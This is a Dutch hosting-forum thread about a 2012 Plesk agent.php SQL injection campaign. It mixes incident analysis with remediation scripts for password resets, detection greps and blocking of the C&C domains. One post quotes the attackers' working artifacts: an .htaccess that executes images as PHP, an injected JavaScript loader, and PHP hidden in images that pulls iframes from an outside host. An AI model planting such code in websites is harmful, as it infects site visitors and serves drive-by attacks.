Bekijk Volledige Versie : Remote exploit Plesk API
Er is onlangs een remote exploit voor Plesk gepubliceerd. Parallels heeft deze niet echt duidelijk in het nieuws gebracht, zoals ze eigenlijk nooit doen, maar het is wel degelijk een serieus probleem. Op onderstaande links kun je meer informatie vinden over deze bug en de manier waarop je deze kan verhelpen. Wij zijn niet echt een Parallels Plesk shop, dus misschien is dit bij de Plesk gebruikers beter bekend.
Beschrijving bug:
http://arstechnica.com/business/news/2012/02/plesk-control-panel-bug-left-ftc-sites-and-thousands-more-exposed-to-anon.ars
Fix van Parallels:
http://kb.parallels.com/en/113321
Blijkbaar onderschatten een hoop partijen deze mailing. Voornamelijk door de belachelijke manier van communiceren vanuit paralells. Mocht je deze patch niet toepassen dan is je panel vatbaar om zonder authenticatie mutaties uit te voeren. Het betreft hier een non public exploit die ondanks dat goed benut wordt.
Wat wij dusver gezien hebben is dat ze websites aanpassen, en vooralsnog lijkt het deels handwerk, deels automatisch. Ondanks er bijvoorbeeld wordpress sites zijn, wordt er niet op dezelfde plekken hetzelfde gedaan. Ook wordt er maar een selectief aantal websites aangepast.
In principe (en dat is wat ik dus zover gezien en waargenomen heb) bestaat deze lichting uit het volgende
1 mutatie js file
1 mutatie png, jpg, gif (image)
1 nieuwe htaccess file (meestal in images folder)
htaccess ziet er zo uit
AddHandler application/x-httpd-php .gif .jpg .jpeg .png
php_flag short_open_tag Off
php_flag display_errors off
js file heeft een nieuwe lijn onderaan
function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/useruploads/images/2_a.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
het rode deel is variabel
het plaatje zelf wordt aangepast, en van php code voorzien
if ($_COOKIE["a"] == "check") {
//
header("Content-type: text/plain");
echo "al" . "ive";
exit();
} else {
//
if (isset($_GET["js"]) && (stristr($ua, "firefox") || stristr($ua, "msie"))) {
//
$url = file_get_contents("http://<KNIP>.com/track.php?ip=" . $ip . "&getgate");
if ($url && !stristr($url, "not_available_now")) {
header("Content-type: text/javascript");
echo "document.write(\"<ifr" . "ame src='" . $url . "' width=0 height=0 frameborder=0 marginheight=0 marginwidth=0 scrolling=no></ifr"."ame>\")";
exit();
}
}
//
header("Content-type: image/" . array_pop(explode(".", $nm)));
echo base64_decode($ri);
exit();
Het originele plaatje wordt base64 encoded, en in een string toegevoegd. Voor een bezoeker blijft de website ondanks de php code werken omdat het plaatje uiteindelijk weergegeven wordt.
Mocht je dus bovenstaand tegen komen, zou je door middel van een zelfbouw scanner en een geplaatste cookie kunnen indexeren welke sites geïnfecteerd zijn. Het gaat om dit stukje code dat dat mogelijk maakt.
if ($_COOKIE["a"] == "check") {
//
header("Content-type: text/plain");
echo "al" . "ive";
exit();
}
Zo zullen ook die geïnfecteerde sites geïndexeerd worden en gecontroleerd.
Scott van atomic rocket turtle is een van de weinige die inhoudelijk meer erover gepost heeft, ik quote dan ook zijn post op het forum daar. Het is meer informatie dan je ooit van paralells zelf zult krijgen:
Yeah they lack full information. There is no exploit in the newer proftp in the context of this attack. What happened is
1) agent.php was exploitable via an sql injection attack.
2) Around the end of january (25th is the oldest event we've had reported) the attackers launched a worm/botnet/etc that:
2a) Enumerated plesk servers globally
2b) Identified vulnerable plesk servers (8.2 thru 10.3)
2c) Dumped the username and password databases from vulnerable plesk servers
At this point the attackers have all the credentials for the enumerated systems. The next major attack happens in mid february
3) Attack uses the vulnerable agent.php injection to upload bot code via the file manager. Note, this is unauthenticated.
4) about this time people start patching the systems, so the agent.php vector is largely going away.
5) As systems are cleaned & patched, the attackers come back using the authentication data they collected in 2c. The upload vectors are: Plesk file manager, ftp, sftp.
Bovenstaand is een eenmalige post, puur omdat bovenstaand belang groter is dan een persoonlijk belang. Contact via wht wordt niet meer op gereageerd, mocht iemand me voor bovenstaand nodig hebben dan kan dat via de andere welbekende weg namelijk e-mail. Inhoudelijk reageer ik dus niet meer.
Het detecteren van de hack is sowieso moeizaam. De meeste hints krijg je door in de /var/log/secure* ips te bekijken. Veelal is het één ip die op één dag een 20 tot 30tal websites aanpast. Het lijkt legitiem, het is allesbehalve dat.
Voor diegene die logcycles sporadisch toepassen, zou je ook nog in je xferlog.legacy kunnen greppen op de afgelopen 14 dagen en kijken naar de mutaties op .js files en .htaccess files.
Succes, gewaarschuwd iemand telt voor 2 ;-)
Mike.
Bedankt Mikey voor die uitgebreide post. Die files zijn dus bijna exact die files die ik dit weekend ook heb aangetroffen. Ik heb zelf de xferlog doorgespit (zoveel wordt er niet ge-ftp-ed op mijn server) dus het was vrij makkelijk te achterhalen. Ik heb zelf na de update zowel Agent.php als agent.php gerenamed en dat lijkt geen negatief effect te hebben op de werking van de server (ik gebruik de api niet). Ook heb ik de FTP poort aangepast. Security by obscurity, want die lui gaan vaak over naar een volgende server als ze niet binnen kunnen komen.
Ik vraag me af of er een manier is om een bulk password reset te doen. Ik heb dit weekend met de hand bijna alle passwords lopen aanpassen.. en heb er nog een groot aantal te gaan.
doe er je voordeel mee:
// edit. mkpasswd is onderdeel van package expect ("yum install expect")
plesk panel users:
#!/bin/sh
ADMIN_PASS=`cat /etc/psa/.psa.shadow`
MYSQL_BIN_D=`grep MYSQL_BIN_D /etc/psa/psa.conf | awk '{print $2}'`
mysql="${MYSQL_BIN_D}/mysql -N -uadmin -p${ADMIN_PASS} psa"
query="select name from domains where htype = 'vrt_hst';"
users=`echo $query | $mysql `
for i in ${users}; do
export PSA_PASSWORD=$(mkpasswd)
/usr/local/psa/bin/domadmin --update $i -passwd ''
echo "$i $PSA_PASSWORD" >> panel_users
done
complete lijst met user & pass te vinden in panel_users. Dit update alle wachtwoorden, ook de wachtwoorden waarbij de user geen panel rechten heeft.
ftp & shell users
#!/bin/sh
ADMIN_PASS=`cat /etc/psa/.psa.shadow`
MYSQL_BIN_D=`grep MYSQL_BIN_D /etc/psa/psa.conf | awk '{print $2}'`
mysql="${MYSQL_BIN_D}/mysql -N -uadmin -p${ADMIN_PASS} psa"
query="select login from sys_users;"
users=`echo $query | $mysql `
for i in ${users}; do
export PSA_PASSWD=$(mkpasswd)
/usr/local/psa/admin/bin/usermng --set-user-passwd --user=$i;
echo "$i $PSA_PASSWD" >> shell_users
done
complete lijst met user & pass te vinden in shell_users
Op dit moment zijn er geen aanwijzing dat er ook e-mail en mysql misbruikt wordt. Maar ga er maar vanuit dat dit op lange termijn ook nog een aparte goudmijn is waarbij er heel veel geldige smtp users zijn.
Het enige dat zal helpen is alles te patchen en tools te verwijderen en dan alle passw. te wijzigen, let op ALLE! (ftp, mysql, etc.) en letop van alle accounts op de server(s).
Ik heb wel diverse logs in mijn GET en POST naar /enterprise/control/agent.php
Maar als ik mijn xferlog bestanden kijk naar bijvoorbeeld de .htaccess wijzigingen zie ik geen rare dingen.
Heeft iemand een idee hoe ik kan uitsluiten of ik gehackt ben. En stel dat het gelukt is, hebben ze dan alle gebruikersnamen & wachtwoorden als plain tekst buit gemaakt? Heb eigelijk weinig zin om een 100-tal klanten te informeren met nieuwe gebruikersnaam en wachtwoorden..
Plesk geeft zelf aan dat deze bug in MU # 11 is gefixd. Deze is gereleased op 2 sept
Parallels Plesk Panel 9.5.4 MU #11 [02-Sep-2011]
[-] SQL injection vulnerability fixed.
Snap ik het niet meer? :)
dennis0162
27/02/12, 23:33
Ik heb wel diverse logs in mijn GET en POST naar /enterprise/control/agent.php
Maar als ik mijn xferlog bestanden kijk naar bijvoorbeeld de .htaccess wijzigingen zie ik geen rare dingen.
Heeft iemand een idee hoe ik kan uitsluiten of ik gehackt ben. En stel dat het gelukt is, hebben ze dan alle gebruikersnamen & wachtwoorden als plain tekst buit gemaakt? Heb eigelijk weinig zin om een 100-tal klanten te informeren met nieuwe gebruikersnaam en wachtwoorden..
Beter het zekere voor het onzekere toch?
Sorry, maar ze hadden helemaal niets gefixed! Ze hebben duidelijk verzuimd om tijdig info en patches ter beschikking te stellen.
Sorry, maar ze hadden helemaal niets gefixed! Ze hebben duidelijk verzuimd om tijdig info en patches ter beschikking te stellen.
Absoluut mee eens. Je mag van Plesk minstens zo'n uitgebreide post als van Mikey verwachten en niet slechts een enkel bericht. Mijn ervaringen met Plesk en support zijn sowieso erg slecht. Hoe is de ervaring van anderen hiermee?
Naar aanleiding van mijn post heb ik inmiddels meerdere plesk servers gezien. Wat er gaande is, is duidelijk een spinup naar iets veel groters. Scott had het over fase 1 en 2. Ik denk dat er een derde fase bijhoort. Voor de buitenwereld en beheerder is er op dit moment dus niets aan de hand. Websites werken en er wordt _nog_ niets abused. Je kan deze indexatie meer zien als een grote pot met honing, die indien nodig dus gechecked, opgezet en uitgebuit kan worden. De cookie check met alive zit er niet voor niets in. Ook zit er een bewuste tijd keus tussen de agent check / abuse en aanpassen van de websites. In sommige gevallen valt dit kort met de log rotatie. Veel systemen roteren waarbij je met 4 weken de logfiles kwijt bent.
@Daan zijn er klanten die gebruik maken van de api ? Zoja controlleer in ieder geval de ip adressen. Zo niet, dan zou je aan de hand van de response size misschien een indicatie kunnen vormen of er wel of niet misbruik is gemaakt. Ook zou je niet verbaasd moeten zijn dat de users & pws buitgemaakt zijn, maar op dit moment dus nog niet misbruikt. Door de gebrekkige communicatie vanuit plesk weet dus helemaal niemand waar iedereen aan toe is.
Hi,
first of all sorry for posting in english, but my Dutch is not yet good enough...
Some minor corrections to the stuff posted above:
- Plesk is vulnerable to the hack since version 7.6.1, the oldest infected system I found was 8.0.1
- The oldest hack attack against the vulnerability I found was from October 2010, as it seems to test and modify the password extraction
I posted here (http://forum.parallels.com/showpost.php?p=617115&postcount=30) a way how you can find out, if passwords were fetched from your system. If you didn't modify the Plesk logrotation, it should still be good to show you all incidents back to December.
As it seems, sometimes the Plesk Patch mechanism was NOT working as it should. I found a fully patched Plesk 9.5.4 still open. Therefore:
Check the date of the file /usr/local/psa/admin/plib/api-rpc/Agent.php - this is the file replaced by the patch (its loaded during the SQL injection from the agent.php file named by Parallels). If this file date is too old, follow those steps below:
- remove /root/.autoinstaller/microupdates.xml
- run the autoinstaller for Plesk again, to re-patch the system
Hope that helps.
Thanks mr_coko!
Volgende de post van mr_coko is mijn systeem clean.
Toch is het bizar dat een partij als Parallells hier zo eenvoudig mee omgaat.
Kunnen we geen claim met z'n allen gaan opzetten? :-)
Inmiddels is inderdaad duidelijk dat op (in ieder geval de 9 branche) de autoupdater niet alle microupdates binnenhaalt, waardoor je ten onrechte dacht volledig up2date te zijn.
Het verwijderen van /root/.autoinstaller/microupdates.xml en het opnieuw starten van de autoinstaller lijkt dan ineens microupdate 14 t/m17 binnen te halen.
Gefixed op 2 september 2011?? Parallells had iedereen moeten informeren en wel tenminste via een bericht op het controlpanel zelf. Ik ben vast niet de enige die Plesk niet continu update, want elke keer als ik update gaat er wel iets stuk in Plesk (zelfs met kleine updates). Dus automatisch updaten zit er niet in. En dat er een api bestond wist ik voorheen ook niet. Voor zover ik kan zien heeft het hernoemen van die bestanden geen negatief effect op de server gehad, dus via die files komen ze nooit meer binnen. Ik hoop dat ze mijn server nu overslaan na het veranderen van Plesk en FTP poorten.
Bedankt Mikey voor de code. :)
het is niet mogelijk je poort te wijzigen in plesk 10 (de default 8443)
en de api gaat het vanzelf weer doen als Agent.php een update krijgt... ik zou dat toch ff in de gaten houden
Ik heb niet de intentie om over te stappen op Plesk 10, vanwege de nieuwe structuur (geen losse httpdocs/httpsdocs) en het (mogelijke) feit dat die overgang nog veel meer sloopt. In het verleden ben ik uren tot zelfs dagen bezig geweest met het zoeken naar oplossingen en herstellen van fouten na updates en upgrades.
Hi again...
just one reminder: Mikey's scripts are a good start, but they are missing some passwords:
- Plesk Domain administrator (covered with his first script)
- FTP users (covered with his second script)
- Plesk Reseller login
- Plesk Client login
- MySQL users
- protected directories
- web users
- email accounts
- maybe frontpage accounts (if FP extensions are installed)
...and yes, ALL of those passwords are in the same SQL table, almost all of them in clear text. And if not ALL of them are changed, they will be used sooner or later.
...just a warning...
Zie dat Parallels ook wakker wordt: http://kb.parallels.com/en/113391
Zie dat Parallels ook wakker wordt: http://kb.parallels.com/en/113391
Wel een beetje laat immers het eerste script wat ze hadden was zo onzorgvuldig als het maar kon.
De hele support bij Parallels (sinds naar India verhuist) is flut met hoofdletters........
Vers van de pers :)
http://webwereld.nl/nieuws/109740/hoster-blokkeert-gehackte-servers-van-klanten-.html
dreamhost_nl
05/03/12, 15:57
Dan moet je deze er ook aan toevoegen natuurlijk :
http://webwereld.nl/analyse/109741/hackbare-server--wat-doet-de-hoster-.html
Bakker ICT
05/03/12, 21:54
Iemand die al met Parallels gecommuniceerd heeft hier over? Mag aannemen dat ze zich rotschamen dat ze niet even een net mailtje er uit hebben gestuurd na het fixen van zoon kritieke fix. Vreemd want op 1 september heb ik wel een mail gehad over een andere exploit...
Iemand die al met Parallels gecommuniceerd heeft hier over? Mag aannemen dat ze zich rotschamen dat ze niet even een net mailtje er uit hebben gestuurd na het fixen van zoon kritieke fix. Vreemd want op 1 september heb ik wel een mail gehad over een andere exploit...
Zwijgen in alle talen, na contact hebben ze wel het beschikbare script voor de passw change "server wide" aangepast maar meer niet!
Vandaag gemerkt dat het script massaal wordt misbruikt.
Zo worden er perl scripts geinstalleerd die UDP attacks uitvoeren.
Deze worden gestuurd door een C&C server.
Bv http://paneyeum.com/ping
magentohosting
06/03/12, 08:48
..
Zo worden er perl scripts geinstalleerd die UDP attacks uitvoeren.
..
Wat is de locatie waar die perl scripts staan geïnstalleerd?
Bakker ICT
06/03/12, 08:58
Hij zet ze in cgi-bin, via de filemanager doet hij ze uploaden en vervolgens uitvoeren via een cronjob van de desbetreffende client.
Patchen (had je al eerder moeten doen) dan ALLE (dus Plesk login, FTP, etc., etc.) paswoorden wijzigen van alle accounts.
voeg dit in ieder geval toe aan je /etc/hosts file
127.0.0.1 paneyeum.com
127.0.0.1 potopticum.com
127.0.0.1 vesselopticum.com
dan zijn de ddos bots in ieder geval hun c&c server kwijt.
Stonden die udp floods niet pas voor 31 maart op de agenda, of is dit test draaien :)
GlobalServe
06/03/12, 11:10
Hackers maken wachtwoorden buit bij Proserve via Plesk-lek
http://tweakers.net/nieuws/80462/hackers-maken-wachtwoorden-buit-bij-proserve-via-plesk-lek.html
Hi all,
last night I found a server, which was definetly patched, being attacked and the attackers went away with the passwords - on a Plesk 9.5.4 patchlevel 17.
I checked and compared the files the patch replaces, and yes, I had only the patched files on the server.
This means: There might be cases, when even the Parallels patch does not secure anything.
The only thing that really helped is breaking the API, by running a
cat /dev/null > /usr/local/psa/admin/plib/api-rpc/Agent.php
This way the attackers receive a HTTP 500 and can't fetch anything. If you don't use the API for centralized Plesk management, this should be the recommended action.
Problem is without any further information from plesk, and details about that machine, the machine itself could also be compromised. Doesnt mean that the patch from plesk is incorrect.
@Mikey
we're running some quite sophisticated surveillance stuff for our own servers, so I can say for this server (which is only under our own control), that it
- does not contain other hacks
- is not rooted
- had no other logins the last 6 month then the regular FTP/Mail/Plesk logins
- is and was on the latest kernel and OS packages level
- Plesk was not modified compared to other or fresh installations.
Otherwise I wouldn't have shot in this warning.
we also manage a fully uptodate plesk 9.5.4 which is also compromised the same way. No FTP logins for the past few months, no plesk logins. logs show they mis-used the rpc-xml
Parallels asked if they could take a look at the server, credentials were sent a week ago, but they didn't login yet..
Guess they really have no clue what to do or they don't take it seriously enough...
Bakker ICT
06/03/12, 12:58
Just checked, but on the only one system that is compromised here (microupdates weren't applied automaticly) i still see some polls on agent.php but no data was forged. But to be sure, i nulled the Agent.php.
Until now I saw it also only on one out of several hundred patched Plesk 9.5.4 - but nulling the Agent.php - seems to be the best solution, although I have no idea wherelse this API is used for. There might be a connection to the Plesk Migration Manager...
I see alot of requests were send to agent.php 2 months ago!
And suddenly they start using the passwords.
So if the patch was only installed like a month ago, then its possible they got your password before patching it.
Make sure you change all the passwords.
Facebook is inmiddels down, toeval?
en weer up... denk niet dat facebook op Plesk draait
(oh je was de smiley vergeten :))
en weer up... denk niet dat facebook op Plesk draait
(oh je was de smiley vergeten :))Waarom zou Facebook op Plesk moeten draaien om de site te kunnen ddosen op poort 53/dns?
Facebook is inmiddels down, toeval?
Denk het niet want dit zal zonder meer met de Plesk "hack" te maken hebben en er zullen nog genoeg scripts in de CGI staan die nu wederom aktief zijn geworden......
Is inderdaad door de Plesk hack dat facebook down was.
De command & control pagina verwees naar de dns servers van facebook.
Nu is de command & control weer leeg. maar ze kunnen het op elk moment weer aanzetten.
Waarom zou Facebook op Plesk moeten draaien om de site te kunnen ddosen op poort 53/dns?omdat ik niet verder denk dan mijn neus lang is :)
waarom zou iemand facebook down willen hebben
We removed the agent.php from all Plesk servers but one. This server that did not have the agent.php removed was patched to the latest level. The Plesk scripts confirmed this, and manually checking the file also confirmed this. All passwords have been reset after the Plesk patch was run. However this server was running some DDOS scripts again.
I don't think the Plesk patch fully fixes the vulnerability. To be sure just remove the agent.php file.
magentohosting
07/03/12, 11:13
Hier laatst alle wachtwoorden gewijzigd, helaas te laat.
Mijn collega heeft alle files e.d. weer hersteld en hij was schoon.
Ik heb de patches geïnstalleerd (waar we er van overtuigd waren dat alles up-to-date was, maar helaas). Ook maar even "cat /dev/null > $padnaam/Agent.php" uitgevoerd.
Daarna het IP-adres dat ook in de OP (of in het andere topic, not sure) én in ons log voorkwam, op de blacklist gegooid (Dat is het IP-adres uit Oekraine afkomstig is). Weten jullie of er nog meer IP-adressen zijn die gerelateerd zijn aan deze ellende?
Voor de zekerheid hebben we een scriptje elke 2 uur draaien dat in de /var/www/ directory controleert op de aanwezigheid van "function init(){var f=navigator.userAgent;var a=false;if".
En na afloop van de zoektocht, krijg je keurig een mailtje in je inbox.
Zojuist dan toch een mailtje gehad waar in 2 bestanden de "function init(){var f=navigator.userAgent;var a=false;if" code werd aangetroffen, terwijl de wachtwoorden gewijzigd waren.
Voor alsnog is het ons onduidelijk hoe dit heeft kunnen gebeuren, logfiles laten bijzonder weinig zien qua inlogpogingen. Tijd voor een goede pot koffie ;).
Hou het dus nog even de gaten!
GlobalServe
07/03/12, 11:46
Voor de zekerheid hebben we een scriptje elke 2 uur draaien dat in de /var/www/ directory controleert op de aanwezigheid van "function init(){var f=navigator.userAgent;var a=false;if".
En na afloop van de zoektocht, krijg je keurig een mailtje in je inbox.
Misschien kan je dat scriptje delen. :)
magentohosting
07/03/12, 12:48
Misschien kan je dat scriptje delen. :)
Het is niet veel bijzonders, maar hier is die:
#!/bin/sh
grep -lir "function init(){var f=navigator.userAgent;var a=false;if" /var/www/* | mail -s "Exploit test output" <je e-mail-adres>
Eventjes in een .sh bestand opslaan, chmod +x eroverheen en in een cronjob:
* */2 * * * <locatie>/<script>.sh
Je script geeft wel een ontzettende overhead op io's. Je kan ook doel gerichter zoeken:
grep -lir "function init(){var f=navigator.userAgent;var a=false;if" `find /var/www/vhosts/ -iname "*.js"`
magentohosting
07/03/12, 15:49
Je script geeft wel een ontzettende overhead op io's. Je kan ook doel gerichter zoeken:
grep -lir "function init(){var f=navigator.userAgent;var a=false;if" `find /var/www/vhosts/ -iname "*.js"`
Ja klopt, het was meer een script wat we in 'the heat of the moment' hebben geboren. Voor ons werkte het goed, we hebben relatief rustige servers dus daar kon het prima op.
Ik neem i.i.g. het script van jou over. Bedankt ervoor!
magentohosting
08/03/12, 10:01
Je script geeft wel een ontzettende overhead op io's. Je kan ook doel gerichter zoeken:
grep -lir "function init(){var f=navigator.userAgent;var a=false;if" `find /var/www/vhosts/ -iname "*.js"`
Voor de mensen die dit ook willen gebruiken, houdt er wel rekening mee dat er nu alleen in .js-files wordt gekeken.
Het is ook mogelijk dat er in andere bestanden dit stukje js in <script>-tags wordt geplaatst.
magentohosting
08/03/12, 10:08
dubbel post..
En daar gaat ie weer.......
Hostnet:
http://tweakers.net/nieuws/80568/plesk-hackers-slaan-toe-bij-diverse-klanten-hostnet.html
http://www.nu.nl/internet/2759524/inloggegevens-klanten-hostnet-gelekt.html?utm_medium=twitter
"Beetje" dom als je nu nog steeds je zaakjes niet voor elkaar hebt........
dreamhost_nl
09/03/12, 16:12
Het artikel hanteert over hacks die al in januari zijn uit gevoerd via het lek. Toen was het echter, voor zover ik heb begrepen, nog niet bekend dat de micro updates een security patch bevatten die niet automatisch werd geïnstalleerd. Ik moet zeggen dat ik de impact eerlijk gezegd wel vindt meevallen. Maar wat niet is kan natuurlijk altijd komen. Wellicht dat Parallels dit daarom zo stilzwijgend voorbij heeft laten gaan? Wie het weet mag het zeggen.
En er zullen waarschijnlijk nog wel een paar volgen, wat ik in deze wel jammer vindt is dat de ISP's door het slijk gehaald worden en dat parallels plesk zelf buiten schot blijft. Het is net alsof de isp verantwoordelijk zijn omdat hun unmanaged klanten hun servers niet up-to-date houden etc.
vandaag een mailtje van parallels..
Please read this message in its entirely and take the recommended actions.
On February 9, we notified you of a security vulnerability in some older versions of Parallels Plesk Panel (see below). In that notification, we recommended updating to one of several versions of Plesk where this vulnerability had already been patched. We sent a reminder e-mail on February 21.
This notification is just another reminder. If you have already applied the recommended update or were already running an up-to-date version, no further action is required.
(...)
Please follow our Knowledge Base article for instructions to install these patches: http://kb.parallels.com/en/113321
Wie heeft er op 9 feb en op 21 feb mails ontvangen??
Bakker ICT
09/03/12, 18:33
Yes die heb ik ontvangen, ik had hem alleen graag ten tijde van de lancering van de patch willen zien (die was iig eerder 22 september)
Wellicht dat Parallels dit daarom zo stilzwijgend voorbij heeft laten gaan? Wie het weet mag het zeggen.
Omdat dit zo'n "brakke" partij aan het worden is..........
dreamhost_nl
09/03/12, 19:47
...of eerder bang voor schadeclaims... als je geen schuld erkent zal het vast wel overwaaien wordt waarschijnlijk gedacht.
Bakker ICT
09/03/12, 21:26
Zou Parallels inderdaad sieren als ze gewoon openlijk hun fout toegeven, en beterschap beloven, het is een fuckup, maar denk dat de meeste providers daar wel mee kunnen leven. We zijn tenslotte allemaal mensen, maar met deze houding schieten ze geen reet mee op.
Vandaag iemand van Parallels langs gehad op kantoor en nog voor wij er zelf over konden beginnen gaf hij uit zichzelf aan dat er een vulnerability bestond binnen Plesk. Ik snap de frustratie maar ze zijn zich wel degelijk bewust van het probleem.
En als de fix het niet op lost dan kun je toch gewoon contact opnemen met Parallels?
Vandaag iemand van Parallels langs gehad op kantoor en nog voor wij er zelf over konden beginnen gaf hij uit zichzelf aan dat er een vulnerability bestond binnen Plesk. Ik snap de frustratie maar ze zijn zich wel degelijk bewust van het probleem.
En als de fix het niet op lost dan kun je toch gewoon contact opnemen met Parallels?
En wat gaan die dan doen?
Nieuw stukje zeep aanreiken om hun handen in onschuld te wassen.......
Bakker ICT
09/03/12, 23:36
Het zou ze in ieder geval sieren als ze zorgen dat er iets komt waar mee iedereen netjes van iedere fix en patch op de hoogte wordt gebracht, niet maanden later pas. Mag je toch wel verwachten voor software waar je per maand redelijk wat voor neer legt Virtuozzo + Plesk).
Naar aanleiding van mijn post heb ik inmiddels meerdere plesk servers gezien. Wat er gaande is, is duidelijk een spinup naar iets veel groters. Scott had het over fase 1 en 2. Ik denk dat er een derde fase bijhoort. Voor de buitenwereld en beheerder is er op dit moment dus niets aan de hand. Websites werken en er wordt _nog_ niets abused. Je kan deze indexatie meer zien als een grote pot met honing, die indien nodig dus gechecked, opgezet en uitgebuit kan worden. De cookie check met alive zit er niet voor niets in. Ook zit er een bewuste tijd keus tussen de agent check / abuse en aanpassen van de websites. In sommige gevallen valt dit kort met de log rotatie. Veel systemen roteren waarbij je met 4 weken de logfiles kwijt bent.
@Daan zijn er klanten die gebruik maken van de api ? Zoja controlleer in ieder geval de ip adressen. Zo niet, dan zou je aan de hand van de response size misschien een indicatie kunnen vormen of er wel of niet misbruik is gemaakt. Ook zou je niet verbaasd moeten zijn dat de users & pws buitgemaakt zijn, maar op dit moment dus nog niet misbruikt. Door de gebrekkige communicatie vanuit plesk weet dus helemaal niemand waar iedereen aan toe is.
Het misbruik is mij duidelijk er staan op mijn server bij leaseweb 1 miljoen mails klaar om verzonden te worden.....
alleen hoe haal je die weg ? met 25 stuks tegelijk uit de lijst halen schiet niet erg op. Allemaal mails over fedex verzendingen.
ik kwam deze domeinen tegen
hewsybo.ru
esparve.ru
labasni.ru
er waren bovendien losse html pagina's aan een WP site toegevoegd medio februari.
Bakker ICT
10/03/12, 08:36
Peter, ben je zeker dat dit via deze Exploit gekomen is, dus buitgemaakte SMTP users? Kan natuurlijk ook gewoon een WP hack zijn
dreamhost_nl
10/03/12, 08:44
Die FedEx e-mails zijn recentelijk ook op één van onze servers aangetroffen. De FTP inloggegevens van één gebruiker waren buit gemaakt via een trojan op de thuiscomputer van de cliënt en niet via het veiligheidsgat in Plesk (wij hebben geen eens servers met Plesk). Ga dus - hoe voor de hand liggend ook - niet bij iedere hack er direct van uit dat deze via het Plesk veiligheidsgat is veroorzaakt.
Het misbruik is mij duidelijk er staan op mijn server bij leaseweb 1 miljoen mails klaar om verzonden te worden.....
alleen hoe haal je die weg ? met 25 stuks tegelijk uit de lijst halen schiet niet erg op. Allemaal mails over fedex verzendingen.
Google even op qmHandle en download dat script, het wijst zichzelf redelijk. (mits je qmail draait, werkt obv niet voor postfix)
qmail-remove is ook wel een goeie. Kan je de queue vrij eenvoudig mee filteren op bepaalde inhoud van de mails en verplaatsen naar een soortvan quarantine map.
Hier zijn de eerste plesk servers al compleet overgezet naar directadmin
plesk -> DA
******* Start export for domain *******.be with new username ******* at Tue Apr 3 12:10:31 2012 Version: NON-DISCL *******
Directadmin username: *******
Directadmin password: *******
******* Copying subdomains at Tue Apr 3 12:10:48 2012 *******
******* Setting up e-mail settings at Tue Apr 3 12:10:48 2012 *******
account: *******@*******.be
username: *******@*******.be
password: *******
alias: *******.*******@*******.be => *******@*******.be
alias: *******@*******.be => *******@*******.be
alias: *******@*******.be => *******@*******.be
alias: *******@*******.be => *******@*******.be
******* Copying dns settings at Tue Apr 3 12:11:04 2012 *******
******* Copying domain pointers Tue Apr 3 12:11:04 2012 *******
no domain pointers found
******* Copying databases Tue Apr 3 12:11:04 2012 *******
db: ******* renamed to *******_kiqGr
old username & password: *******@*******
new username & password:: *******_kiqGr@*******
******* Setting up config file settings at Tue Apr 3 12:11:06 2012 *******
created file domain.usage
created file ftp.conf
created file ftp.passwd
created file apache_owned_files.list
created file empty crontab.conf
! local e-mail delivery enabled.
created file domain.conf
created file user.conf
created file .shadow
created file ticket.conf
created file user.usage
******* End export for domain *******.be with new username ******* at Tue Apr 3 12:11:22 2012 Version: NON-DISCL *******
rensariens
03/04/12, 13:51
Zelf gebrouwen script of is dat ergens verkrijgbaar? :)
@Mikey
Was ook wel benieuwd naar dit script, is er info over beschikbaar?
dreamhost_nl
04/04/12, 19:54
Ik vraag me af hoeveel bedrijven er hierdoor zijn overgestapt van Plesk naar een ander controle paneel vanwege dit veiligheidslek (en de manier waarop Plesk hiermee omging).
@Mikey
Was ook wel benieuwd naar dit script, is er info over beschikbaar?
Yes, niet voor de verkoop. Enkel als wij de complete migratie uitvoeren. Dus wel te huur in combinatie met mij samen :)
Yes, niet voor de verkoop. Enkel als wij de complete migratie uitvoeren. Dus wel te huur in combinatie met mij samen :)
Jammer :-((
Moeten we zelf maar iets bouwen....
Niks jammer, maar gewoon stom om een wiel opnieuw uit te willen vinden.
Het kost doorgaands meer tijd om iets zelf uit te zoeken, ontwikkelen en goed te testen dan dat je daar een externe partij voor inhuurt. Daarbij is je ontwikkel traject voor een x aantal klanten en/of machines en vervolgens nagenoeg niet meer bruikbaar.
Succes ermee :)!
Niks jammer, maar gewoon stom om een wiel opnieuw uit te willen vinden.
Het kost doorgaands meer tijd om iets zelf uit te zoeken, ontwikkelen en goed te testen dan dat je daar een externe partij voor inhuurt. Daarbij is je ontwikkel traject voor een x aantal klanten en/of machines en vervolgens nagenoeg niet meer bruikbaar.
Succes ermee :)!
Sorry maar "stom" is iets wat hier niet past! Jij wilt jouw services verkopen en ik maak hier geen gebruik van. Het gaat om 500 servers en daar heb ik jouw betaalde diensten niet voor nodig.....dus ga ik het script opnieuw uitvinden. (als ik zo'n script had dan zou ik het gewoon terbeschikking stellen voor diegene die het nodig hebben) maar dat is nu net het mentaliteits verschil!
Het was maar een vraag en dan zulke antwoorden terug krijgen....sorry dat ik het heb gevraagd! (heb er nu al spijt van)
als ik zo'n script had dan zou ik het gewoon terbeschikking stellen voor diegene die het nodig hebben
Leuke stelling (eerst zien, dan geloven) , ik heb in het verleden meer dan genoeg ter beschikking gesteld, echter wordt er aan alle kanten gejat en geroofd. En een bedankje kan er al helemaal niet meer vanaf. Het mentaliteit verschil is ontstaan door ervaringen met verschillende partijen die ik heb waarvan verschillende er ook hier rondhangen.
Maar als ik alles dus goed interpreteer ga jij op termijn je zelf uitgevonden script dus vrijelijk ter beschikking stellen ?
Ik snap Mikey wel en zeker als je businessmodel is om iets te verdienen aan serverbeheer dan zou ik het zelf ook niet anders doen.
